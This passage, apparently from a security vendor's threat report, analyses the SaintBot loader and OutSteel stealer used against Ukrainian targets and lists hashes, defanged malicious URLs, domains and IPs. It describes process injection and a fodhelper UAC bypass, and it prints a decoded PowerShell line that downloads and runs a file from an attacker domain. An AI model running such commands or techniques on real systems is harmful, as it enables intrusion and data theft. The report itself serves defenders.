GitHub, so there is no custom element to this specific sample. This is done to reduce the risk of the dropped payloads being
detected by Windows Defender.
Figure 10. windows_defender_disable.bat script.
SaintBot .NET Loader
The SaintBot .NET loader is also composed of several stages, with varying levels of obfuscation. It begins by executing a
single PowerShell one-liner, which results in the execution of cmd.exe, passing the command timeout 20. Once the timeout
completes, the loader will resume.
Figure 11. Execution of PowerShell one-liner.
The first layer of the loader will extract a reversed .NET binary from its resources, before flipping, loading into memory and
executing it.
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Figure 12. Reversed binary within resources.
This secondary layer contains far more obfuscation than the first, also implementing obfuscation through obscurity with
around 140 different classes. Also stored within these classes are several virtual machine and sandbox checks, such as
checking if Sbiedll.dll is present in the list of loaded modules, comparing the machine name to HAL9TH and the user name
to JohnDoe, and checking the BIOS version for known virtual machine identifiers.
Figure 13. Anti-VM check.
The quickest way to bypass these checks is to simply set a breakpoint on the Invoke() function and modify any values within
memory to make sure no matches are discovered by the sample.
Once all checks have been passed, the second stage of the loader will extract the SaintBot binary from its resources and
decrypt it. From there, it begins loading in different API calls, including VirtualAllocEx, WriteProcessMemory,
CreateProcessA and SetThreadContext. These calls are used to spawn MSBuild.exe in a suspended state before injecting the
decrypted SaintBot binary into it, modifying the thread context to point to the malicious entry point and resuming the
process.
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Figure 14. Loading process injection API.
SaintBot Payload
SaintBot is a recently discovered malware loader, documented in April 2021 by MalwareBytes. It contains capabilities to
download further payloads as requested by threat actors, executing the payloads through several different means, such as
injecting into a spawned process or loading into local memory. It can also update itself on disk 
 and remove any traces of
its existence 
 as and when needed.
SHA-256: e8207e8c31a8613112223d126d4f12e7a5f8caf4acaaf40834302ce49f37cc9c
Upon execution within the MSBuild process, SaintBot will perform several anti-analysis checks, as well as a locale check. If
any of these checks fail, a batch script named del.bat is dropped to the %APPDATA% folder and executed, removing any
SaintBot payload-linked files from the system.
Figure 15. System locale checks.
If the checks are passed, the payload attempts to locate slideshow.mp4 from the %LOCALAPPDATA%\zz%USERNAME%
path, where slideshow.mp4 is actually a copy of ntdll.dll. If the file is not found, SaintBot assumes it has not yet been
installed on the system and therefore jumps to the installation procedure. This involves creating a directory in the
%LOCALAPPDATA% folder, with the name set to zz%USERNAME%. Then, the local ntdll.dll binary is copied over to the
newly created folder and renamed to slideshow.mp4. Along with that, a .vbs and .bat script are dropped, named
%USERNAME%.vbs and %USERNAME%.bat. Once the installation routine is complete, the payload executes itself once
again and exits.
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Figure 16. Setting up core SaintBot folders.
If slideshow.mp4 is discovered on the initial check, it is used to load in the core API provided by ntdll.dll. This is done to
avoid any hooks placed on API calls within the original ntdll.dll by EDR/AV software.
Figure 17. Resolving API through slideshow.mp4.
At this point, the payload then checks to see if it is running under the process name dfrgui.exe, and if not, it will spawn
dfrgui.exe from the %SYSTEM% directory. This spawned process is then injected into dfrgui.exe using NtQueueApcThread
to resume the process, and the original MSBuild process terminates.
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Figure 18. Injection into dfrgui.exe
If SaintBot is running inside dfrgui.exe, it will confirm whether or not it is running with administrator privileges. If not, it
will attempt to bypass UAC using fodhelper.exe.
Figure 19. Privilege escalation via fodhelper.exe
Persistence is then set up through the CurrentVersion\Run registry key, and communication finally begins with the C2
server. This sample has a total of three C2 servers embedded within it, all reaching out to the same /wp-adm/gate.php
endpoint.
13/30
Figure 20. Hardcoded C2s.
This particular sample accepts six total commands from the C2 server:
Command
Purpose
de:regsvr32
Execute an EXE or DLL (using regsvr32) via cmd.exe
de:LoadMemory
Spawn copy of dfrgui.exe and inject downloaded executable into process
de:LL
Download DLL and load into memory with LdrLoadDll()
update
Update SaintBot binary
uninstall
Uninstall SaintBot from machine
Table 3. SaintBot commands.
Conclusion
Unit 42 research discovered a threat group targeting an energy organization that is part of Ukraine
s critical infrastructure.
This attack is part of a year-long campaign of attacks that not only targeted Ukrainian government organizations, but also
foreign nations
 embassies in Ukraine. The threat group delivered a malicious payload called OutSteel that is capable of
automatically exfiltrating various types of files, including documents, archives, database files and files containing emailrelated data. Based on the list of targeted organizations and the use of a file exfiltration tool, we believe this threat group
primary goal is to steal sensitive information for the purpose of situational awareness and leverage in dealing with Ukraine.
For Palo Alto Networks customers, our products and services provide the following coverage associated with this campaign:
Cortex XDR protects endpoints from the SaintBot malware described in this blog.
WildFire cloud-based threat analysis service accurately identifies the malware described in this blog as malicious.
Advanced URL Filtering and DNS Security identify domains associated with this attack campaign as malicious.
Users of the AutoFocus contextual threat intelligence service can view malware associated with these attacks using the
SaintBot, SaintBot_Loader and OutSteel tags.
14/30
Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber
Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to
systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.
Additional Resources
A deep dive into SaintBot, a new downloader
Targeted Phishing Attack Against Ukrainian Government Expands to Georgia
Spearphising Attack Uses COVID 21 Lure to Target Ukrainian Government
CERT-UA Post from July 13, 2021
CERT-UA Post from Feb. 2, 2022
Russia-Ukraine Crisis: How to Protect Against the Cyber Impact
Russia-Ukraine Crisis Briefings: How to Protect Against the Cyber Impact
Palo Alto Networks Resource Page: Protect Against the Cyber Impact of the Russia-Ukraine Crisis
Indicators of Compromise
Delivery Hashes
07ed980373c344fd37d7bdf294636dff796523721c883d48bb518b2e98774f2c
0be1801a6c5ca473e2563b6b77e76167d88828e1347db4215b7a83e161dae67f
0db336cab2ca69d630d6b7676e5eab86252673b1197b34cf4e3351807229f12a
0f13f5f9a53a78fc4f528e352cd94929ae802873374ffb9ac6a16652bd9ea4c5
101d9f3a9e4a8d0c8d80bcd40082e10ab71a7d45a04ab443ef8761dfad246ca5
1092d367692045995fab78ba1b9b236d5b99d817dd09cba69fd3834e45bd3ddf
10d21d4bf93e78a059a32b0210bd7891e349aabe88d0184d162c104b1e8bee2e
14bde11c50a2df2401831fea50760dd6cf9a492a3a98753ab3b1c6ce4d079196
157b05db61aaf171823c7897a2f931d96a62083a3ad6014cb41c6b42694a0c2f
172f12c692611e928e4ea42b883b90147888b54a8fb858fc97140b82eef409f3
275388ffad3a1046087068a296a6060ed372d5d4ef6cf174f55c3b4ec7e8a0e8
276ac9b9fe682d76382ec6e5bc3d1d045ce937438f92949c23453468eb62a143
2b15ade9de6fb993149f27c802bb5bc95ad3fc1ca5f2e86622a044cf3541a70d
2c879f5d97f126820f1fbf575df7e681c90f027062b6bcb3451bb09607c922da
2ec710d38a0919f9f472b220cfe8d554a30d24bfa4bdd90b96105cee842cf40d
33a4655fd61e471d8956bc7681ee56a9926da91df3583b79e80cb26a14e45548
35180c81ebcefbc32c2442c683cab6fd299af797a0493d38589d5c5d1d6b5313
354868cd615a0377e0028bcaee422c29f6b6088b83a0b37a32e00cce5dba43f9
434d39bfbcee378ed62a02aa40acc6507aa00b2a3cb0bf356c0b23cc9eebcd77
461eeadbe118b5ad64a62f2991a8bd66bdcd3dd1808cd7070871e7cc02effad7
4fcfe7718ea860ab5c6d19b27811f81683576e7bb60da3db85b4658230414b70
52173598ca2f4a023ec193261b0f65f57d9be3cb448cd6e2fcc0c8f3f15eaaf7
5227adda2d80fb9b66110eeb26d57e69bbbb7bd681aecc3b1e882dc15e06be17
5cda471f91413a31d3bc0e05176c4eb9180dfcac3695b83edd6a5d4b544fe3f1
5d8c5bb9858fb51271d344eac586cff3f440c074254f165c23dd87b985b2110b
5d9c7192cae28f4b6cc0463efe8f4361e449f87c2ad5e74a6192a0ad96525417
5dabf2e0fcc2366d512eda2a37d73f4d6c381aa5cb8e35e9ce7f53dae1065e4a
63d7b35ca907673634ea66e73d6a38486b0b043f3d511ec2d2209597c7898ae8
64057982a5874a9ccdb1b53fc15dd40f298eda2eb38324ac676329f5c81b64e0
677500881c64f4789025f46f3d0e853c00f2f41216eb2f2aaa1a6c59884b04cc
68313c90ca8eb0d5fc5e63e2b0f7a5f4d1fe15f825fe8ca0b4b3e922a253caa7
84e651b2d55a75ec59b861b11a8f8f7cb155ed81604081c95dd11b8aec5b31b1
882597c251905f9be31352ba034835764124c9a9e25ef1ba0150e5998c621f07
891f526fea4d9490a8899ce895ce86af102a09a50b40507645fee0cf2ab5bef5
8bb427b4f80fe1ede3e3ed452d9f0a4ce202b77cda4ad2d54968ab43578e9fa9
8c8ef518239308216d06b4bf9b2771dbb70759cb1c9e6327a1cd045444f2b69a
90ce65b0b91df898de16aa652d7603566748ac32857972f7d568925821764e17
15/30
92af444e0e9e4e49deda3b7e5724aaecbb7baf888b6399ec15032df31978f4cf
96f815abb422bb75117e867384306a3f1b3625e48b81c44ebf032953deb2b3ff
9803e65afa5b8eef0b6f7ced42ebd15f979889b791b8eadfc98e7f102853451a
a16e466bed46fcf9c0a771ca0e41bc42a1ac13e66717354e4824f61d1695dbb1
a356be890d2f48789b46cd1d393a838be10bdea79f12a10b1adf1d78178343c5
a60f4a353ea89adc8def453c8a1e65ea2ecc46c64d0d9ea375ca4e85e1c428fd
b7c6b82a8074737fb35adccddf63abeca71573fe759bd6937cd36af5658af864
b89a71c9dbc9492ecb9debb38987ab25a9f1d9c41c6fbc33e67cac055c2664bc
c9761f30956f5ba1ac9abc8b000eae8686158d05238d9e156f42dd5c17520296
d99f998207c38fe3ab98b0840707227af4d96c1980a5c2f8f9ac7062fab0596d
dfe11b83da7c4dc02ff7675d086ff7ddd97fec71c62cc96f1a391f574bec6b4f
e39a12f34bb8a7a5a03fd23f351846088692e1248a3952e488102d3aea577644
f0d99b7056dac946af19b50e27855b89f00550d3d8dc420a28731814a039d052
f69125eafdd54e1aae10707e0d95b0526e80b3b224f2b64f5f6d65485ca9e886
f6ae1d54de68b48ba8bd5262233edaec6669c18f05f986764cf9873ce3247166
fbe13003a4e39a5dea3648ee906ea7b86ed121fd3136f15678cf1597d216c58a
Payload Hashes
005d2d373e7ba5ee42010870b9f9bf829213a42b2dd3c4f3f4405c8b904641f2
0222f6bdfd21c41650bcb056f618ee9e4724e722b3abcd8731b92a99167c6f8d
0c644fedcb4298b705d24f2dee45dda0ae5dd6322d1607e342bcf1d42b59436c
0e1e2f87699a24d1d7b0d984c3622971028a0cafaf665c791c70215f76c7c8fe
0f7a8611deea696b2b36e44ea652c8979e296b623e841796a4ea4b6916b39e7c
0fc7154ebd80ea5d81d82e3a4920cb2699a8dd7c31100ca8ec0693a7bd4af8b7
137fc4df5f5cad2c88460314e13878264cc90d25f26b105bb057f6bfdca4cbf2
17c3cf5742d2a0995afb4dd2a2d711abe5de346abde49cf4cf5b82c14e0a155f
187e0a02620b7775c2a8f88d5b27e80b5d419ad156afc50ef217a95547d0feaa
18f24841651461bd84a5eac08be9bce9eab54b133b0e837d5298dac44e199d5f
1a1fe7b6455153152037668d47c7c42a068b334b91949739ed93256d5e3fbd89
1e6596320a3fa48d8c13609a66e639b35fb1e9caae378552956aa9659809162b
2762cbc81056348f2816de01e93d43398ba65354252c97928a56031e32ec776f
27868ae50b849506121c36b00d92afe3115ce2f041cc28476db8dfc0cc1d6908
2bef4a398a88749828afac59b773ae8b31c8e4e5b499aad516dd39ada1a11eca
2d9d61ce6c01329808db1ca466c1c5fbf405e4e869ed04c59f0e45d7ad12f25b
3075a467e89643d1f37e9413a2b38328fbec4dd1717ae57128fdf1da2fe39819
320d091b3f8de8688ce3b45cdda64a451ea6c22da1fcea60fe31101eb6f0f6c2
37be3d8810959e63d5b6535164e51f16ccea9ca11d7dab7c1dfaa335affe6e3d
39e8455d21447e32141dc064eb7504c6925f823bf6d9c8ce004d44cb8facc80b
3d7a05e7ba9b3dd84017acab9aab59b459db6c50e9224ec1827cbf0a2aee47db
3f7b0d15f4cbe63e57fb06b57575bf6dd9eb777c737b0886250166768169fc6c
4715a5009de403edd2dd480cf5c78531ee937381f2e69e0fb265b2e9f81f15c4
494122ff204f3dedaa8f0027f9f98971b32c50acbcce4efa8de0498efa148365
4c8a433ed99cc4b6994b2e1df59eb171f326373ba100a3653eb37e8a8ee2e6f2
4d59a7739f15c17f144587762447d5abb81c01f16224a3f7ce5897d1b6f7ee77
4ee84419fb9267081480954f1be176095a45fe299078dfa95f980e513b46a020
4fdc37f59801976606849882095992efecee0931ece77d74015113123643796e
506c90747976c4cc3296a4a8b85f388ab97b6c1cfae11096f95977641b8f8b6f
56731c777896837782beff4432330486a941e4f3af44b4d24be7c62c16e96256
5fc108db5114be4174cb9365f86a17e25164a05cc1e90ef9ee29ab30abed3a13
619393d5caf08cf12e3e447e71b139a064978216122e40f769ac8838a7edfca4
61f5e96ec124fef0c11d8152ee7c6441da0ea954534ace3f5f5ec631dd4f1196
6a698edb366f25f156e4b481639903d816c5f5525668f65e2c097ef682afc269
6ee2fd3994acdbb9a1b1680ccd3ac4b7dcb077b30b44c8677252202a03dccf79
700b05fede8afe3573b6fec81452d4b09c29adb003cdacb762c8b53d84709901
707971879e65cbd70fd371ae76767d3a7bff028b56204ca64f27e93609c8c473
16/30
71e9cc55f159f2cec96de4f15b3c94c2b076f97d5d8cecb60b8857e7a8113a35
7419f0798c70888e7197f69ed1091620b2c6fbefead086b5faf23badf0474044
750c447d6e3c7d74ccab736a0082ef437b1cd2000d761d3aff2b73227457b29c
75f728fa692347e096386acd19a5da9b02dca372b66918be7171c522d9c6b42d
7963f8606e4c0e7502a813969a04e1266e7cd20708bef19c338e8933c1b85eda
7b3d377ca2f6f9ea48265a80355fe6dc622a9b4b43855a9ddec7eb5e4666a1d4
7d7d9a9df8b8ffd0a0c652a3d41b9a5352efb19424e42942aaf26196c9698019
7e1355e51eb9c38e006368de1ae80b268ffab6918237696474f50802e3d8a9c8
7eb1dc1719f0918828cc8349ee56ca5e6bbde7cada3bc67a11d7ff7f420c7871
7ee8cfde9e4c718af6783ddd8341d63c4919851ba6418b599b2f3c2ac8d70a32
82d2779e90cbc9078aa70d7dc6957ff0d6d06c127701c820971c9c572ba3058e
89da9a4a5c26b7818e5660b33941b45c8838fa7cfa15685adfe83ff84463799a
8ab3879ed4b1601feb0de11637c9c4d1baeb5266f399d822f565299e5c1cd0c4
9528a97d8d73b0dbed2ac496991f0a2eecc5a857d22e994d227ae7c3bef7296f
975f9ce0769a079e99f06870122e9c4d394dfd51a6020818feeef9ccdb8b0614
9917c962b7e0a36592c4740d193adbd31bc1eae748d2b441e77817d648487cff
9a72e56ac0f1badd3ca761b53e9998a7e0525f2055dbec01d867f62bdb30418e
9cf4b83688dd5035623182d6a895c61e1e71ea02dc3e474111810f6641df1d69
9d7c3463d4a4f4390313c214c7a79042b4525ae639e151b5ec8a560b0dd5bd0a
9ec80626504ca869f5e731aef720e446936333aaf6ab32bae03c0de3c2299f34
9ee1a587acaddb45481aebd5778a6c293fe94f70fe89b4961098eb7ba32624a8
9ef2d114c329c169e7b62f89a02d3f7395cb487fcd6cff4e7cac1eb198407ba6
9fbeb629ea0dc72ac8db680855984d51b28c1195e48abff2e68b0228f49d5b0f
a61725f3b57fd45487688ad06f152d0db139a6cb29f3515ea90ffe15cb7e9a7a
a9a89bb76c6f06277b729bc2de5e1aaef05fc0d9675edbc0895c7591c35f17eb
afdc010fc134b0b4a8b8788d084c6b0cff9ea255d84032571e038f1a29b56d0a
b02c420e6f8a977cd254cd69281a7e8ce8026bda3fc594e1fc550c3b5e41565d
b0b0cb50456a989114468733428ca9ef8096b18bce256634811ddf81f2119274
b0b4550ba09080e02c8a15cec8b5aeaa9fbb193cec1d92c793bdede78a70cec6
b1af67bcfaa99c369960580f86e7c1a42fc473dd85a0a4d3b1c989a6bc138a42
b2f5edef0e599005e205443b20f6ffd9804681b260eec52fa2f7533622f46a6c
b6e34665dd0d045c2c79bf3148f34da0b877514a6b083b7c8c7e2577362463b3
b72188ba545ad865eb34954afbbdf2c9e8ebc465a87c5122cebb711f41005939
b83c41763b5e861e15614d3d6ab8573c7948bf176143ee4142516e9b8bcb4423
b8ce958f56087c6cd55fa2131a1cd3256063e7c73adf36af313054b0f17b7b43
bd83e801b836906bab4854351b4d6000e0a435736524a504b9839b5f7bdf97cc
c222122fe3e1206ba2363c17fb37ae2f8e271840e17b3bb9ba5359f2793f9574
c33a905e513005cee9071ed10933b8e6a11be2335755660e3f7b2adf554f704a
c532d19652ea6d4e0ebb509766de1ec594dd80152f92f7ef6b80ad29d2aa8cf4
c6c47d3d7e56213f0d0ced379c64e166ed5a86308ea96856163a4e0155b1fc6e
cb4a93864a19fc14c1e5221912f8e7f409b5b8d835f1b3acc3712b80e4a909f1
cb6c05b2e9d8e3c384b7eabacde32fc3ac2f9663c63b9908e876712582bf2293
cce564eb25a80549d746c180832d0b3d45dcd4419d9454470bfd7517868d0e10
cd93f6df63187e3ac31ea56339f9b859b0f4fbe3e73e1c07192cef4c9a6f8b08
d4d4aa7d621379645d28f3a16b3ba41b971216869f5448ea5c1fc2e78cfecb26
d6e2a79bc87d48819fabe332dd3539f572605bb6091d34ae7d25ae0934b606b5
db8975fd6c04a7d3790eb73ab8e95b6dbf6c9d65ad5c6a6d3c862d0284f87c34
df3b1ad5445d628c24c1308aa6cb476bd9a06f0095a2b285927964339866b2c3
dfc24fa837b6cd3210e7ea0802db3dcf7bb1f85bff2c1b4bda4c3c599821bf8c
e0c46e23bd1b5b96123e0c64914484bbfae7a7ad13cbd45184035d4c0f8a10a2
e8207e8c31a8613112223d126d4f12e7a5f8caf4acaaf40834302ce49f37cc9c
e9a858127f5f6e5e0e94ed655a2bf9ed228f87bc99d9b12113e27dcc84be3909
ebbf30e06de3a25f76cf43c72c521d14a27053e4d9be566b41f50c41bea3a7a9
ec3c0afccfef11f753a408c859d98bbba4841e87f7f1a48573270c0d82252b03
ec62c984941954f0eb4f3e8baee455410a9dc0deb222360d376e28981c53b1a0
ec8868287e3f0f851ff7a2b0e7352055b591a2b2cb1c2a76c53885dee66562dc
17/30
f24ee966ef2dd31204b900b5c7eb7e367bc18ff92a13422d800c25dbb1de1e99
f2bdde99f9f6db249f4f0cb1fb8208198ac5bf55976a94f6a1cebfb0d6c30551
f4a56c86e2903d509ede20609182fbe001b3a3ca05f8c23c597189935d4f71b8
f58c41d83c0f1c1e8c1c3bd99ab6deabb14a763b54a3c5f1e821210c0536c3ff
fa1bc7d6f03a49af50f7153814a078a32f24f353c9cb2b8e3f329888f2b37a6e
fad2e8293cf38eec695b1b5c012e187999bd94fbcad91d8f110605a9709c31b3
ff07325f5454c46e883fefc7106829f75c27e3aaf312eb3ab50525faba51c23c
ffad5217eb782aced4ab2c746b49891b496e1b90331ca24186f8349a5fa71a28
Related URLs
1000018[.]xyz/soft-2/280421-z1z.exe
1000018[.]xyz/soft/220421.exe
1000020[.]xyz/soft/230421.exe
1221[.]site/15858415841/0407.exe
1221[.]site/1806.exe
15052021[.]space/2405.exe
150520212[.]space/0404.exe
185.244.41[.]109:8080/upld/
1924[.]site/soft/09042021.exe
194.147.142[.]232:8080/upld/
194.147.142[.]232:8080/upld/
2215[.]site/240721-1.msi
31.42.185[.]63:8080/upld/
32689657[.]xyz/putty5482.exe
32689658[.]xyz/putty5410.exe
45.146.164[.]37:8080/upld/
45.146.165[.]91:8080/upld/
68468438438[.]xyz/soft/win230321.exe
8003659902[.]space/wp-adm/gate.php
baiden00[.]ru/def.bat
baiden00[.]ru/win21st.txt
baiden00[.]ru/wininst.exe
bit[.]ly/36fee98
bit[.]ly/3qpy7Co
cdn.discordapp[.]com/attachments/853604584806285335/854020189522755604/1406.exe
cdn.discordapp[.]com/attachments/908281957039869965/908282786216017990/AdobeAcrobatUpdate.msi
cdn.discordapp[.]com/attachments/908281957039869965/908310733488525382/AdobeAcrobatUpdate.exe
cdn.discordapp[.]com/attachments/908281957039869965/911202801416282172/AdobeAcrobatReaderUpdate.exe
cdn.discordapp[.]com/attachments/908281957039869965/911383724971683862/21279102.exe
cdn.discordapp[.]com/attachments/932413459872747544/932976938195238952/loader.exe
cdn.discordapp[.]com/attachments/932413459872747544/938291977735266344/putty.exe
eumr[.]site/load4849kd30.exe
eumr[.]site/load74h74830.exe
eumr[.]site/up74987340.exe
main21[.]xyz/adm2021/gate.php
mohge[.]xyz/install.exe
name1d[.]site/123/index.exe
name1d[.]site/def02.bat
name4050[.]com:8080/upld/9C9C2F98
orpod[.]ru/def.exe
orpod[.]ru/putty.exe
smm2021[.]net/load2022.exe
smm2021[.]net/upload/antidef.bat
smm2021[.]net/upload/Nvlaq.jpeg
smm2021[.]net/wp-adm/gate.php
18/30
stun[.]site/42348728347829.exe
update-0019992[.]ru/testcp1/gate.php
update0019992[.]ru/exe/update-22.exe
update0019992[.]ru/gate.php
update3d[.]xyz/
webleads[.]pro/public/readerdc_ua_install.exe
www.baiden00[.]ru/win21st.txt
www.update0019992[.]ru/exe/update-22.exe
cdn.discordapp[.]com/attachments/908281957039869965/908310733488525382/AdobeAcrobatUpdate.exe
cutt[.]ly/1bR6rsQ
mohge[.]xyz/install.exe
mohge[.]xyz/install.txt
stun[.]site/zepok101.exe
superiortermpapers[.]org/public/WindowsDefender-UA.exe
Domains
000000027[.]xyz
001000100[.]xyz=
1000018[.]xyz
1000020[.]xyz
1020[.]site
1221[.]site
15052021[.]space
150520212[.]space
1833[.]site
1924[.]site
2055[.]site
2215[.]site
2330[.]site
3237[.]site
32689657[.]xyz
32689658[.]xyz
68468438438[.]xyz
8003659902[.]site
8003659902[.]space
9348243249382479234343284324023432748892349702394023[.]xyz
baiden00[.]ru
buking[.]site
coronavirus5g[.]site
eumr[.]site
main21[.]xyz
mohge[.]xyz
name1d[.]site
name4050[.]com
orpod[.]ru
smm2021[.]net
stun[.]site
update-0019992[.]ru
update0019992[.]ru
update3d[.]xyz
www.baiden00[.]ru
www.lywdm[.]com
www.update0019992[.]ru
IPv4 Addresses
19/30
185.244.41[.]109
194.147.142[.]232
31.42.185[.]63
45.146.164[.]37
45.146.165[.]91
Additional Infrastructure
1000018[.]xyz
1000019[.]xyz
1000020[.]xyz
1017[.]site
1120[.]site
1202[.]site
1221[.]site
15052021[.]space
150520212[.]space
150520213[.]space
1681683130[.]website
16868138130[.]space
1833[.]site
1924[.]site
2055[.]site
2215[.]site
2330[.]site
29572459487545-4543543-543534255-454-35432524-5243523-234543[.]xyz
32689657[.]xyz
32689658[.]xyz
32689659[.]xyz
33655990[.]cyou
4895458025-4545445-222435-9635794543-3242314342-234123423728[.]space
9832473219412342343423243242364-34939246823743287468793247237[.]site
99996665550[.]fun
almamaterbook[.]ru
buking[.]site
getvps[.]site
giraffe-tour[.]ru
gosloto[.]site
name4050[.]com
noch[.]website
otrs[.]website
polk[.]website
sinoptik[.]site
sony-vaio[.]ru
Appendix A: Prior Attacks Associated With UAC-0056
Prior attacks associated with UAC-0056 are described below, organized by the time of attack. For an overview of known
attacks, please see the timeline in the 
Links to Prior Attacks
 section above.
March 2021 Attacks
According to MalwareBytes research, this threat group carried out an attack campaign in March 2021 on targets in Georgia
using Bitcoin and COVID themes. The researchers state that these attacks involve spear phishing, but we do not have
telemetry to confirm the targeted organizations, attack vector or the exact dates in which the attacks took place. The Bitcoin-
20/30
themed attacks are very similar to those seen in later April attacks, as the PDF delivery documents had similar content that
references Electrum bitcoin wallets, as seen in Figure 21.
Figure 21a. Contents of PDF documents used in Bitcoin-themed attacks in March 2021.
21/30
Figure 21b. Contents of PDF documents used in Bitcoin-themed attacks in March 2021.
The COVID-themed attacks reference a government organization in Georgia, which suggests that the threat group has
interests in other countries in the region in addition to Ukraine. The attack involved a Zip archive hosted at
bgicovid19[.]com/assets/img/newCOVID-21.zip and contains the two malicious files and one decoy document, as listed in
Table 4.
Filename
SHA256
Description
!!! COVID21.doc
4fcfe7718ea860ab5c6d19b27811f81683576e7bb60da3db85b4658230414b70
Delivery document exploits
CVE-2017-11882 to
download
www.baiden00[.]ru/win21st.txt
Folder.lnk
5d8c5bb9858fb51271d344eac586cff3f440c074254f165c23dd87b985b2110b
LNK Shortcut that downloads
baiden00[.]ru/wininst.exe
letter from
the Ministry
of Labour,
Health and
Social
Affairs of
Georgia.pdf
49a758bfe34f1769a27b1a2da9f914bc956f7fdbb9e7a33534ca9e19d5f6168c
Decoy document
Table 4. Delivery documents used in March attack.
The letter from the Ministry of Labour, Health and Social Affairs of Georgia.pdf document is a decoy, as it contains no
malicious content. The decoy content does show a document from the Ministry of Labour, Health and Social Affairs of
Georgia, as seen in Figure 22, which suggests that the target may have involved an organization in Georgia.
22/30
Figure 22. Decoy document
s contents in suspected March 2021 attacks.
April 2021 Attacks
In April 2021, the threat group carried out an attack that involved a spear phishing email with a PDF document attached,
which suggested the recipient could become rich by accepting Bitcoins, as seen in Figure 23. As first seen in research by
Ahnlab, these Bitcoin-themed attacks were specifically targeting Ukrainian government organizations.
Figure 23. Contents of PDF documents used in Bitcoin-themed attacks.
The PDF document attached to the delivery email contains text that suggests the individual can access a Bitcoin wallet with
a large sum of money along with a link to download the wallet, as seen in Figure 24. The link cutt[.]ly/McXG1ft is shortened
and points to the URL http://1924[.]site/doc/bitcoin.zip to download a Zip archive.
23/30
Figure 24. Contents of PDF documents used in Bitcoin-themed attacks.
The Zip archive contains a LNK shortcut that runs a powershell script to download and execute a payload from
hxxp://1924[.]site/soft/09042021.exe. The archive also contains a password.txt file that has the following contents, which
involve an Electrum Bitcoin wallet that links back to the attacks against Ukraine on Feb. 1, 2022:
Wallet in folder.
Electrum: https://electrum.org
Password for walletr is: btc1000000000usd
According to Fortinet research, in April 2021, this threat group also carried out COVID-themed attacks on Ukrainian
government organizations. The email seen in Figure 25 includes a fake forwarded message meant to appear as
correspondence between a government official and the World Health Organization (WHO). The email contains a link to a
Zip archive hosted on the legitimate who.int domain. However, the link points to a shortened link of
hxxps://cutt[.]ly/LcHx2Ga instead.
24/30
Figure 25. Delivery email in COVID-themed attacks.
The hxxps://cutt[.]ly/LcHx2Ga URL points to hxxp://2330[.]site/NewCovid-21.zip, which hosted a Zip archive (SHA256:
677500881c64f4789025f46f3d0e853c00f2f41216eb2f2aaa1a6c59884b04cc) that contained the following files:
COVID-21.doc (SHA256: 9803e65afa5b8eef0b6f7ced42ebd15f979889b791b8eadfc98e7f102853451a)
COVID-21.lnk (SHA256: 2b15ade9de6fb993149f27c802bb5bc95ad3fc1ca5f2e86622a044cf3541a70d)
GEO-CFUND-2009_CCM Agreement_Facesheet - signed.pdf (SHA256:
bbab12dc486b1c6fcf9e343ec1474d0f8967de988444d7f838f1b4dcab343e8a)
New Folder.lnk (SHA256: 2b15ade9de6fb993149f27c802bb5bc95ad3fc1ca5f2e86622a044cf3541a70d)
The LNK shortcuts attempt to run a PowerShell script that will download an executable from the following URL, save it to
%TEMP%\WindowsUpdate.exe and execute it:
hxxp://2330[.]site/soft/08042021.exe
The LNK shortcut downloads the executable from the URL above using the Start-BitsTransfer cmdlet, which is the same
technique the threat group used to download the payload within the macro in the July 2021 attacks discussed below.
May 2021 Attacks
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In May 2021, we saw the threat group sending targeted emails sent to two Ukrainian government organizations. The two
emails had subjects of 
4872823 and 
487223/2, and both had the same message content that suggested
the email was from a senior investigator trying to contact the individual, as seen in Figure 26. The use of law enforcement
related themes across May and June 2021, as well as in February 2022, suggests that the threat group favors this social
engineering theme in the absence of a trending topic or current event.
Figure 26. Spear phishing email sent to Ukrainian government organizations in May 2021.
Both of the delivery emails had the same attachment, specifically 
4872823-(20).cpl (SHA256:
f4a56c86e2903d509ede20609182fbe001b3a3ca05f8c23c597189935d4f71b8), which is a Windows Control Panel File that
acts as an initial downloader to download and execute a payload from:
32689657[.]xyz/putty5482.exe
The Control Panel File saves the downloaded executable to %PUBLIC%\puttys.exe and runs it using the WinExec function.
The resulting executable (SHA256: df3b1ad5445d628c24c1308aa6cb476bd9a06f0095a2b285927964339866b2c3)
eventually runs the OutSteel document stealer, which will exfiltrate files to the following URL:
hxxp://194[.]147.142.232/upld/
June 2021 Attacks
In June 2021, we observed this threat group targeting another Ukrainian government organization by sending a spear
phishing email with a subject that translates to 
Your arrest warrant
 from Ukrainian. The content of this email, seen in
Figure 27, includes urgent language suggesting that the recipient must read the attached report or they will be declared
wanted.
 This law enforcement theme relates to the Feb. 1, 2022, attacks that used a supposed police report as part of
social engineering.
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Figure 27. Spear phishing email sent to Ukrainian government organization in June 2021.
The attachment is not a report as the body of the email suggests. Rather, the 
487223-31.doc (880m5) .js file
attached is a JavaScript file that is 1,029,786 bytes in size (the actors added a considerable amount of spaces between each
character of the JavaScript code). If the recipient opens the attachment, the following JavaScript will execute:
Figure 28. Malicious JavaScript contained in attached file.
The JavaScript above will run an encoded PowerShell script that decodes to the following:
invOKe-WeBREqUEST -urI hxxp://150520212[.]space/000.cpl -oUtFILE $ENv:PuBLiC\000.cpl; & $eNV:PUBlIc\000.cpl
This PowerShell script will download and execute a Control Panel File (CPL) from 150520212[.]space, which it saves to a file
named 000.cpl (SHA256: b72188ba545ad865eb34954afbbdf2c9e8ebc465a87c5122cebb711f41005939). The 000.cpl is a
DLL whose functional code exists within the exported function CPlApplet. The functional code uses several consecutive
jumps in an attempt to make code analysis more difficult. Despite these jumps, the functional code starts with a decryption
stub, which will XOR each QWORD in the ciphertext using a key that starts as 0x29050D91. However, in each iteration of
the decryption loop, the key is modified by multiplying it by 0x749507B5 and adding 0x29050D91.
Once the decryption stub has finished, the code jumps to the decrypted code, which is a shellcode-based downloader that
carries out the following activity:
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1. Loads kernel32 using LoadLibraryW
2. Gets the address to ExpandEnvironmentStringsW using GetProcAddress
3. Calls ExpandEnvironmentStringsA to expand the environment string for the path %PUBLIC%\5653YQ5T3.exe
4. Opens the %PUBLIC%\5653YQ5T3.exe file using CreateFileW
5. Loads WinHttp using LoadLibraryA
6. Opens an HTTP session by calling WinHttpOpen
7. Connects to remote server 150520212[.]space over port 80/TCP by calling WinHttpConnect
8. Creates an HTTP GET request for /0404.exe using WinHttpOpenRequest
9. Sends the request via WinHttpSendRequest
